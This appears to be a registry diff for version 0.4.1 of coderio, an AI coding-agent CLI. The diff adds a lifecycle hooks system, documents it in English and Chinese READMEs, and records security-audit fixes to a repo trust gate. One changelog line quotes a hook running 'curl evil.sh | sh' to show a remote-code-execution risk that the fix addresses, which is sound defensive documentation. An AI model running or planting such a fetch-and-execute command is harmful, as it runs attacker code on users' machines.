coderio 0.4.0__tar.gz → 0.4.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (193) hide show
  1. {coderio-0.4.0 → coderio-0.4.1}/CHANGELOG.md +63 -0
  2. {coderio-0.4.0 → coderio-0.4.1}/PKG-INFO +34 -1
  3. {coderio-0.4.0 → coderio-0.4.1}/README.md +33 -0
  4. {coderio-0.4.0 → coderio-0.4.1}/README_en.md +33 -0
  5. {coderio-0.4.0 → coderio-0.4.1}/pyproject.toml +5 -1
  6. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/deep_loop.py +53 -1
  7. coderio-0.4.1/src/coderio/agent/hooks.py +312 -0
  8. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/run_cmd.py +12 -4
  9. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/tui.py +9 -7
  10. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/config/loader.py +40 -1
  11. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/config/models.py +4 -0
  12. coderio-0.4.1/src/coderio/config/trust.py +203 -0
  13. coderio-0.4.1/tests/agent/test_hooks.py +351 -0
  14. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_run_cmd.py +5 -1
  15. {coderio-0.4.0 → coderio-0.4.1}/tests/config/test_trust.py +65 -0
  16. {coderio-0.4.0 → coderio-0.4.1}/uv.lock +1 -1
  17. coderio-0.4.0/src/coderio/config/trust.py +0 -136
  18. {coderio-0.4.0 → coderio-0.4.1}/.github/dependabot.yml +0 -0
  19. {coderio-0.4.0 → coderio-0.4.1}/.github/workflows/ci.yml +0 -0
  20. {coderio-0.4.0 → coderio-0.4.1}/.github/workflows/release.yml +0 -0
  21. {coderio-0.4.0 → coderio-0.4.1}/.gitignore +0 -0
  22. {coderio-0.4.0 → coderio-0.4.1}/CONTRIBUTING.md +0 -0
  23. {coderio-0.4.0 → coderio-0.4.1}/LICENSE +0 -0
  24. {coderio-0.4.0 → coderio-0.4.1}/THIRD_PARTY_LICENSES.md +0 -0
  25. {coderio-0.4.0 → coderio-0.4.1}/docs/coderio-architecture.md +0 -0
  26. {coderio-0.4.0 → coderio-0.4.1}/scripts/verify_deepagent_live.py +0 -0
  27. {coderio-0.4.0 → coderio-0.4.1}/scripts/verify_harness_live.py +0 -0
  28. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/__init__.py +0 -0
  29. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/__init__.py +0 -0
  30. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/_deepagents_compat.py +0 -0
  31. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/command_review.py +0 -0
  32. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/harness.py +0 -0
  33. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/harness_middleware.py +0 -0
  34. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/permission_middleware.py +0 -0
  35. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/prompts.py +0 -0
  36. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/skill_tool.py +0 -0
  37. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/state.py +0 -0
  38. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/stream.py +0 -0
  39. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/__init__.py +0 -0
  40. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/app.py +0 -0
  41. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/commands.py +0 -0
  42. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/credentials.py +0 -0
  43. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/mcp_cmd.py +0 -0
  44. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/multimodal.py +0 -0
  45. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/onboarding.py +0 -0
  46. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/providers.py +0 -0
  47. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/render.py +0 -0
  48. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/repl.py +0 -0
  49. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/skills_cmd.py +0 -0
  50. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/stream.py +0 -0
  51. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/tui_onboarding.py +0 -0
  52. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/tui_screens.py +0 -0
  53. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/tui_widgets.py +0 -0
  54. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/config/__init__.py +0 -0
  55. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/config/bootstrap.py +0 -0
  56. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/llm/__init__.py +0 -0
  57. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/llm/factory.py +0 -0
  58. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/llm/probe.py +0 -0
  59. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/mcp_loader.py +0 -0
  60. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/session/__init__.py +0 -0
  61. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/session/message.py +0 -0
  62. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/session/store.py +0 -0
  63. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/__init__.py +0 -0
  64. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/bundled/executing-plans/SKILL.md +0 -0
  65. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/LICENSE +0 -0
  66. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/README.md +0 -0
  67. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/clarifying-questions/SKILL.md +0 -0
  68. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/clarifying-questions/evals/evals.json +0 -0
  69. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/code-review/SKILL.md +0 -0
  70. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/code-review/evals/evals.json +0 -0
  71. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/commit-message/SKILL.md +0 -0
  72. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/commit-message/evals/evals.json +0 -0
  73. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/debugging/SKILL.md +0 -0
  74. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/debugging/evals/evals.json +0 -0
  75. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/error-handling/SKILL.md +0 -0
  76. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/error-handling/evals/evals.json +0 -0
  77. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/lion-writing-skills/SKILL.md +0 -0
  78. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/lion-writing-skills/evals/evals.json +0 -0
  79. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/naming/SKILL.md +0 -0
  80. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/naming/evals/evals.json +0 -0
  81. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/SKILL.md +0 -0
  82. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/evals/evals.json +0 -0
  83. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/spec-writing/SKILL.md +0 -0
  84. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/spec-writing/evals/evals.json +0 -0
  85. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/task-breakdown/SKILL.md +0 -0
  86. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/task-breakdown/evals/evals.json +0 -0
  87. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/testing/SKILL.md +0 -0
  88. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/testing/evals/evals.json +0 -0
  89. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/verify-and-fix/SKILL.md +0 -0
  90. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/lion-skills/skills/verify-and-fix/evals/evals.json +0 -0
  91. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/models.py +0 -0
  92. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/parser.py +0 -0
  93. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/skills/store.py +0 -0
  94. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/__init__.py +0 -0
  95. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/base.py +0 -0
  96. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/bash.py +0 -0
  97. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/command_policy.py +0 -0
  98. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/edit_file.py +0 -0
  99. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/glob_tool.py +0 -0
  100. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/grep_tool.py +0 -0
  101. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/linux_sandbox.py +0 -0
  102. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/list_dir.py +0 -0
  103. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/multi_edit.py +0 -0
  104. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/note.py +0 -0
  105. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/permission.py +0 -0
  106. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/read_file.py +0 -0
  107. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/sandbox_runner.py +0 -0
  108. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/todo.py +0 -0
  109. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/web_fetch.py +0 -0
  110. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/web_search.py +0 -0
  111. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/win_job.py +0 -0
  112. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/win_sandbox.py +0 -0
  113. {coderio-0.4.0 → coderio-0.4.1}/src/coderio/tools/write_file.py +0 -0
  114. {coderio-0.4.0 → coderio-0.4.1}/tests/__init__.py +0 -0
  115. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/__init__.py +0 -0
  116. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/conftest.py +0 -0
  117. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_command_review.py +0 -0
  118. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_deep_integration.py +0 -0
  119. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_deep_loop.py +0 -0
  120. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_deep_loop_unit.py +0 -0
  121. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_deepagents_compat.py +0 -0
  122. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_harness.py +0 -0
  123. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_harness_middleware.py +0 -0
  124. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_perf_baseline.py +0 -0
  125. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_prompts.py +0 -0
  126. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_skill_tool.py +0 -0
  127. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_state.py +0 -0
  128. {coderio-0.4.0 → coderio-0.4.1}/tests/agent/test_stream.py +0 -0
  129. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/__init__.py +0 -0
  130. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_app.py +0 -0
  131. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_command_menu.py +0 -0
  132. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_commands.py +0 -0
  133. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_credentials.py +0 -0
  134. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_input_isolation.py +0 -0
  135. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_live_thinking.py +0 -0
  136. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_mcp_cmd.py +0 -0
  137. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_multimodal.py +0 -0
  138. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_onboarding.py +0 -0
  139. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_onboarding_logic.py +0 -0
  140. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_providers.py +0 -0
  141. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_render.py +0 -0
  142. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_repl_loop.py +0 -0
  143. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_repl_reset.py +0 -0
  144. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_skills_cmd.py +0 -0
  145. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_status_bar.py +0 -0
  146. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_stream.py +0 -0
  147. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_truncation.py +0 -0
  148. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_onboarding.py +0 -0
  149. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_picker.py +0 -0
  150. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_screens.py +0 -0
  151. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_startup.py +0 -0
  152. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_tui_widgets.py +0 -0
  153. {coderio-0.4.0 → coderio-0.4.1}/tests/cli/test_ux_features.py +0 -0
  154. {coderio-0.4.0 → coderio-0.4.1}/tests/config/__init__.py +0 -0
  155. {coderio-0.4.0 → coderio-0.4.1}/tests/config/test_bootstrap.py +0 -0
  156. {coderio-0.4.0 → coderio-0.4.1}/tests/config/test_loader.py +0 -0
  157. {coderio-0.4.0 → coderio-0.4.1}/tests/config/test_models.py +0 -0
  158. {coderio-0.4.0 → coderio-0.4.1}/tests/conftest.py +0 -0
  159. {coderio-0.4.0 → coderio-0.4.1}/tests/e2e/__init__.py +0 -0
  160. {coderio-0.4.0 → coderio-0.4.1}/tests/llm/__init__.py +0 -0
  161. {coderio-0.4.0 → coderio-0.4.1}/tests/llm/test_factory.py +0 -0
  162. {coderio-0.4.0 → coderio-0.4.1}/tests/llm/test_probe.py +0 -0
  163. {coderio-0.4.0 → coderio-0.4.1}/tests/session/__init__.py +0 -0
  164. {coderio-0.4.0 → coderio-0.4.1}/tests/session/test_message.py +0 -0
  165. {coderio-0.4.0 → coderio-0.4.1}/tests/session/test_store.py +0 -0
  166. {coderio-0.4.0 → coderio-0.4.1}/tests/skills/__init__.py +0 -0
  167. {coderio-0.4.0 → coderio-0.4.1}/tests/skills/test_bundled.py +0 -0
  168. {coderio-0.4.0 → coderio-0.4.1}/tests/skills/test_parser.py +0 -0
  169. {coderio-0.4.0 → coderio-0.4.1}/tests/skills/test_skill_tools.py +0 -0
  170. {coderio-0.4.0 → coderio-0.4.1}/tests/skills/test_store.py +0 -0
  171. {coderio-0.4.0 → coderio-0.4.1}/tests/test_mcp_loader.py +0 -0
  172. {coderio-0.4.0 → coderio-0.4.1}/tests/test_p0_stability.py +0 -0
  173. {coderio-0.4.0 → coderio-0.4.1}/tests/test_repl.py +0 -0
  174. {coderio-0.4.0 → coderio-0.4.1}/tests/test_version.py +0 -0
  175. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/__init__.py +0 -0
  176. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_bash.py +0 -0
  177. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_command_policy.py +0 -0
  178. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_concrete_gates.py +0 -0
  179. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_edit_prefix.py +0 -0
  180. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_file_tools.py +0 -0
  181. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_glob_tool.py +0 -0
  182. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_grep_tool.py +0 -0
  183. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_list_dir.py +0 -0
  184. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_multi_edit.py +0 -0
  185. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_note.py +0 -0
  186. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_permission.py +0 -0
  187. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_registry.py +0 -0
  188. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_sandbox.py +0 -0
  189. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_search_tools.py +0 -0
  190. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_todo.py +0 -0
  191. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_web.py +0 -0
  192. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_web_fetch.py +0 -0
  193. {coderio-0.4.0 → coderio-0.4.1}/tests/tools/test_win_job.py +0 -0
@@ -6,6 +6,69 @@ All notable changes to coderio are documented here. The format follows
6
6
  `pyproject.toml`'s `[project].version` — `coderio.__version__` reads it via
7
7
  `importlib.metadata`.
8
8
 
9
+ ## [0.4.1] — 2026-08-17
10
+
11
+ ### Added
12
+ - **Hooks system (v1)**: user-configurable lifecycle hooks via `[[hooks]]`
13
+ array tables in config.toml. Five events — SessionStart (once per session,
14
+ resume included), UserPromptSubmit (reject or inject context), PreToolUse
15
+ (deny), PostToolUse (append feedback), Stop (notification-only). IO contract
16
+ follows the Claude Code / ZCode / Codex interop core: event JSON on stdin,
17
+ exit 0 = pass (stdout injects context for prompt/session events, 10k cap),
18
+ exit 2 = block with stderr as the reason, anything else = fail-open.
19
+ `$CODERIO_PROJECT_DIR` env var; Git Bash preferred on Windows; default
20
+ timeout 60s (timeout/crash fail-open — hooks are extensibility glue, not a
21
+ security boundary; hard policy stays with permissions + blacklist).
22
+ PreToolUse/PostToolUse ride a new HooksMiddleware inserted OUTERMOST (before
23
+ Harness/Permission/CommandReview) so a hook can deny before the permission
24
+ prompt appears and observes exactly the args the chain sees. Hooks in
25
+ repo-level config.toml automatically ride the existing repo-config trust
26
+ gate — no separate trust flow. Serial execution (first blocker's reason
27
+ wins; all hooks still run for their side effects). New module
28
+ `agent/hooks.py`. v1 non-goals documented: SessionEnd (no injection point),
29
+ Notification/SubagentStop/PreCompact, updatedInput rewriting, hook-allow
30
+ bypassing permission prompts, parallel execution. POSIX hook subprocesses
31
+ get their own process group (a hook timeout would otherwise SIGKILL the
32
+ agent itself — caught by the CI OS matrix, invisible on Windows).
33
+ (Shipped after the v0.4.0 tag; +20 tests incl. real-subprocess semantics,
34
+ a `coderio run` end-to-end, and post-v3 seam tests.)
35
+
36
+ ### Fixed — 2026-08-14 v3 audit (2 P0 + 4 P1, all verified with the report's repro scripts)
37
+ - **P0 · hooks: tool-event hooks from a real config.toml always crashed.** Two
38
+ classes named HookSpec existed — config/models.py's (a plain dataclass,
39
+ no .matches()) and agent/hooks.py's (the runtime class). The loader produced
40
+ the former; HookRunner.fire called .matches() on it → AttributeError on every
41
+ PreToolUse/PostToolUse hook, the exact scenario the README leads with. All 20
42
+ in-module tests stayed green because they imported the runtime class
43
+ directly — the config↔runtime seam had zero coverage. Fix: models.HookSpec
44
+ deleted; _parse_hooks produces agent.hooks.HookSpec (single source of truth);
45
+ +2 SEAM tests (load_config → HookRunner.fire → assert blocked) that fail with
46
+ the same AttributeError if a duplicate class ever reappears.
47
+ - **P0 · trust gate bypassed when launching from a subdirectory.** The gate
48
+ checked one directory (anchored on .coderio/config.toml) while mcp_loader
49
+ walks UP for .mcp.json independently — a repo whose root had ONLY .mcp.json
50
+ + launching from any subdirectory skipped the gate entirely while the server
51
+ still loaded. Fix: trust discovery now mirrors the loaders (per-file upward
52
+ walk, same stop conditions); the principle "trust scope ⊇ load scope" is
53
+ enforced. Trust confirmed once at any depth covers the whole repo (store
54
+ keys by discovered root). +2 tests incl. the report's exact bypass scenario.
55
+ - **P1 · trust summary blind-signed hooks**: the confirmation prompt showed
56
+ only ".coderio/config.toml (76 bytes)" while a hook ran "curl evil.sh | sh"
57
+ — hooks are the repo's most direct RCE surface and were invisible. The
58
+ summary now echoes every line mentioning command/hooks/args/env, and MCP
59
+ entries show args + env key names (values not leaked). +2 tests.
60
+ - **P1 · hook errors were silently swallowed**: HookOutcome.error had zero
61
+ consumers — a broken hook (exit 127) was invisible. fire() now logs a
62
+ warning whenever error is non-empty.
63
+ - **P1 · a hook-layer exception could break the turn**: HookRunner.fire wraps
64
+ the whole dispatch loop in try/except (fail-open, consistent with the
65
+ module's stated positioning) — covers both middleware and turn-level paths.
66
+ - **P2 · headless run could lose the final answer**: non-quiet mode relied
67
+ solely on the token stream; a non-streamed final message vanished. The
68
+ final result is now always printed (after a separator in non-quiet mode).
69
+
70
+ ## [Unreleased]
71
+
9
72
  ## [0.4.0] — 2026-08-17
10
73
 
11
74
  ### Added
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: coderio
3
- Version: 0.4.0
3
+ Version: 0.4.1
4
4
  Summary: A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine.
5
5
  Author: coderio contributors
6
6
  License-Expression: MIT
@@ -283,6 +283,39 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
283
283
  - Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
284
284
  - For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
285
285
 
286
+ **Hooks** (user lifecycle hooks, v1):
287
+
288
+ Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
289
+
290
+ ```toml
291
+ # Protect sensitive files: block writes to .env
292
+ [[hooks]]
293
+ event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
294
+ matcher = "write_file|edit_file" # regex on tool name (tool events only); empty = all
295
+ command = "python .hooks/protect.py" # receives the event JSON on stdin; exit 2 = block
296
+ timeout = 30 # seconds, default 60
297
+
298
+ # Auto-format after every file write
299
+ [[hooks]]
300
+ event = "PostToolUse"
301
+ matcher = "write_file|edit_file"
302
+ command = "jq -r .tool_input.file_path | xargs prettier --write"
303
+
304
+ # Inject project conventions at session start
305
+ [[hooks]]
306
+ event = "SessionStart"
307
+ command = "cat .hooks/conventions.txt"
308
+ ```
309
+
310
+ **IO contract**:
311
+ - **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
312
+ - **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
313
+ - **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
314
+
315
+ **Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
316
+
317
+ **v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt, parallel execution (v1 is serial; with multiple hooks the first blocker's reason wins but all hooks run).
318
+
286
319
  Supported providers:
287
320
  | provider_id | Description | Protocol |
288
321
  |---|---|---|
@@ -238,6 +238,39 @@ deny_write = [".git/hooks"] # workspace 内也强制只读
238
238
  - 白名单降级:CONFIRM/AUTO_EDIT 模式下白名单外的命令**会执行但 result 里会带 `[whitelist]` 标注**(让模型/用户知道该命令不在受信集合里);PLAN 模式硬拒;FULL 模式放行不标注。
239
239
  - 对于**完全不可信的代码**,仍建议用 VM(Windows Sandbox / Docker),不依赖本沙箱。
240
240
 
241
+ **Hooks**(用户自定义生命周期钩子,v1):
242
+
243
+ 在 config.toml 里用 `[[hooks]]` 数组表注册 shell 命令,在 agent 生命周期的固定点位执行。配置/IO 契约对齐 Claude Code / ZCode / Codex 的互操作核心,已有 hook 脚本可直接移植:
244
+
245
+ ```toml
246
+ # 敏感文件保护:写 .env 前拦截
247
+ [[hooks]]
248
+ event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
249
+ matcher = "write_file|edit_file" # 正则匹配工具名(仅工具事件);空 = 全部
250
+ command = "python .hooks/protect.py" # stdin 收 JSON 事件;exit 2 = 阻断
251
+ timeout = 30 # 秒,默认 60
252
+
253
+ # 每次写文件后自动格式化
254
+ [[hooks]]
255
+ event = "PostToolUse"
256
+ matcher = "write_file|edit_file"
257
+ command = "jq -r .tool_input.file_path | xargs prettier --write"
258
+
259
+ # 会话开始注入项目约定
260
+ [[hooks]]
261
+ event = "SessionStart"
262
+ command = "cat .hooks/conventions.txt"
263
+ ```
264
+
265
+ **IO 契约**:
266
+ - **stdin**:一行 JSON——公共字段 `session_id`/`cwd`/`permission_mode`/`hook_event_name` + 事件专属(PreToolUse 带 `tool_name`+`tool_input`;UserPromptSubmit 带 `prompt`;PostToolUse 带 `tool_response`)
267
+ - **exit code**:`0` = 放行(UserPromptSubmit/SessionStart 的 stdout 注入上下文,上限 10k 字符);`2` = **阻断**(stderr 作为理由喂给模型);其他 = **fail-open** 放行 + 警告
268
+ - **环境变量**:`$CODERIO_PROJECT_DIR` 恒可用;Windows 优先 Git Bash
269
+
270
+ **诚实定位**:hooks 是**扩展点不是安全边界**——超时/崩溃/非 2 退出码都 fail-open(一个坏 hook 绝不能搞死 agent loop)。硬策略请用权限审批 + 命令黑名单。项目级 hooks 写在 config.toml 里,自动被仓库信任门覆盖(克隆恶意仓库不会静默执行其 hooks)。
271
+
272
+ **v1 事件集与不做的事**:SessionStart(每 session 一次,含 resume)/ UserPromptSubmit(可拒绝可注入)/ PreToolUse(可 deny)/ PostToolUse(追加反馈)/ Stop(通知型,不与 harness 续跑冲突)。不做:SessionEnd(无注入点)、Notification/SubagentStop/PreCompact、`updatedInput` 参数改写、hook allow 跳过权限弹窗、并行执行(v1 串行,多 hook 第一个 blocker 生效但全部执行)。
273
+
241
274
  支持的 provider:
242
275
  | provider_id | 说明 | 协议 |
243
276
  |---|---|---|
@@ -238,6 +238,39 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
238
238
  - Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
239
239
  - For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
240
240
 
241
+ **Hooks** (user lifecycle hooks, v1):
242
+
243
+ Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
244
+
245
+ ```toml
246
+ # Protect sensitive files: block writes to .env
247
+ [[hooks]]
248
+ event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
249
+ matcher = "write_file|edit_file" # regex on tool name (tool events only); empty = all
250
+ command = "python .hooks/protect.py" # receives the event JSON on stdin; exit 2 = block
251
+ timeout = 30 # seconds, default 60
252
+
253
+ # Auto-format after every file write
254
+ [[hooks]]
255
+ event = "PostToolUse"
256
+ matcher = "write_file|edit_file"
257
+ command = "jq -r .tool_input.file_path | xargs prettier --write"
258
+
259
+ # Inject project conventions at session start
260
+ [[hooks]]
261
+ event = "SessionStart"
262
+ command = "cat .hooks/conventions.txt"
263
+ ```
264
+
265
+ **IO contract**:
266
+ - **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
267
